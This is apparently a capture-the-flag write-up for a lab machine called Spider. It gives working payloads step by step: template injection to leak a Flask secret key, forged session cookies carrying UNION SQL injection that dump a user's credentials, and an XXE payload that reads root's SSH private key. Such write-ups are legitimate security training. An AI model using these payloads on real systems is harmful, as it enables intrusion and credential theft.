Enumeration

NMAP

# Nmap 7.80 scan initiated Sun May 30 02:28:02 2021 as: nmap -sCV -p- -oN enum/nmap 10.10.10.243
Nmap scan report for 10.10.10.243
Host is up (0.065s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 28:f1:61:28:01:63:29:6d:c5:03:6d:a9:f0:b0:66:61 (RSA)
|   256 3a:15:8c:cc:66:f4:9d:cb:ed:8a:1f:f9:d7:ab:d1:cc (ECDSA)
|_  256 a6:d4:0c:8e:5b:aa:3f:93:74:d6:a8:08:c9:52:39:09 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://spider.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May 30 02:28:22 2021 -- 1 IP address (1 host up) scanned in 19.66 seconds
  • Discover hostname spder.htb
  • nginx version is 1.14.0. Release date is 17 Apr 2018

Port 80 Webpage

http://spider.htb/register

If we register a user and insert {{7*7}} we notice that the username is 49

There is a character limit for the username of 10 characters.

We can however use username={{config}}&confirm_username={{config}}&password=password&confirm_password=password

And extract additional data

<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'RATELIMIT_ENABLED': True, 'RATELIMIT_DEFAULTS_PER_METHOD': False, 'RATELIMIT_SWALLOW_ERRORS': False, 'RATELIMIT_HEADERS_ENABLED': False, 'RATELIMIT_STORAGE_URL': 'memory://', 'RATELIMIT_STRATEGY': 'fixed-window', 'RATELIMIT_HEADER_RESET': 'X-RateLimit-Reset', 'RATELIMIT_HEADER_REMAINING': 'X-RateLimit-Remaining', 'RATELIMIT_HEADER_LIMIT': 'X-RateLimit-Limit', 'RATELIMIT_HEADER_RETRY_AFTER': 'Retry-After', 'UPLOAD_FOLDER': 'static/uploads'}>

Here the variable SECRET_KEY is interesting

SECRET_KEY': 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942

With the SECRET_KEY we are able to create our own cookie.


Flask by default uses something called ‘signed cookies’, which is simply a way of storing the current session data on the client (rather than the server) in such a way that it cannot (in theory) be tampered with.

One of the drawbacks of this approach, however, is that the cookies are not encrypted, they’re signed. This means that the content of the session can be read without the secret key.

Source

With flask-unsign we are able to sign our own cookies.

There is a SQL injection in the uuid parameter.

If we decode the session token

echo -n "eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6IjBjYTg3MGFhLWM0ZjAtNGFlZS1iN2U4LWIzZTA1Y2U4ZWI4ZiJ9.YLkGwA.A79At8eN9BqFtqDUCyNdkJWvb2k" | base64 -d 
{"cart_items":[],"uuid":"0ca870aa-c4f0-4aee-b7e8-b3e05ce8eb8f"}

We can create our own session token and inject the SQL injection payload in the token

flask-unsign --sign --cookie "{'uuid':'8afce2a8-870c-42cc-a38e-bc7d8fd78b60\' union select (SELECT database());#--'}" --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'                                                                    
eyJ1dWlkIjoiOGFmY2UyYTgtODcwYy00MmNjLWEzOGUtYmM3ZDhmZDc4YjYwJyB1bmlvbiBzZWxlY3QgKFNFTEVDVCBkYXRhYmFzZSgpKTsjLS0ifQ.YLkVaQ.K_marJ47gL2E50cdEpQueWcdgz8

With flask-unsign --sign --cookie "{'uuid':'8afce2a8-870c-42cc-a38e-bc7d8fd78b60\' union select (SELECT user());#--'}" --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'

We can extract interesting information from the DB.

flask-unsign --sign --cookie "{'uuid':'8afce2a8-870c-42cc-a38e-bc7d8fd78b60\' union select group_concat(table_name) from information_schema.tables where table_schema = database() ;#--'}" --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'

Output:

[...]
>Logout (logged in as items,messages,support,users)
[...]

flask-unsign --sign --cookie "{'uuid':'8afce2a8-870c-42cc-a38e-bc7d8fd78b60\' union all select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name =\'users\';#--'}" --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'

Output: Logout (logged in as id,name,password,uuid)

flask-unsign --sign --cookie "{'uuid':'8afce2a8-870c-42cc-a38e-bc7d8fd78b60\' union all select concat(name,0x3a,password,0x0a) from users;#--'}" --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'

Output:

Logout (logged in as chiv:ch1VW4sHERE7331
)

These credentials do not work via ssh as the service requires a private key to be granted access.

With flask-unsign --sign --cookie "{'uuid':'8afce2a8-870c-42cc-a38e-bc7d8fd78b60\' union all select concat(uuid,0x3a,password,0x0a) from users;#--'}" --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'

We can login on the website with chiv

129f60ea-30cf-4065-afb9-6be45ad38b73:ch1VW4sHERE7331

Using the UUID and password of chiv we are able to access to admin panel

At View Messages we can view an interesting endpoint which from the notes might be vulnerable

/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal

With the payload

We get a shell as chiv.

Running linpeas we se something is running on port 8080.

We get access to a beta test page. Looking at the cookie and decoding it, we notice an xml document.

Looks like XXE injection is the way.

The xml object is

<!-- API Version 1.0.0 -->
<root>
    <data>
        <username>&xxe;</username>
        <is_admin>0</is_admin>
    </data>
</root>  

We can control username and version.

We insert

--><!DOCTYPE root%
20[<!ENTITY xxe SYSTEM 'fil
e:///root/.ssh/id_rsa'>]> %3
c!-- 

into version and trigger the XXE with inserting &xxe; into username

Once we sign in we get the root ssh key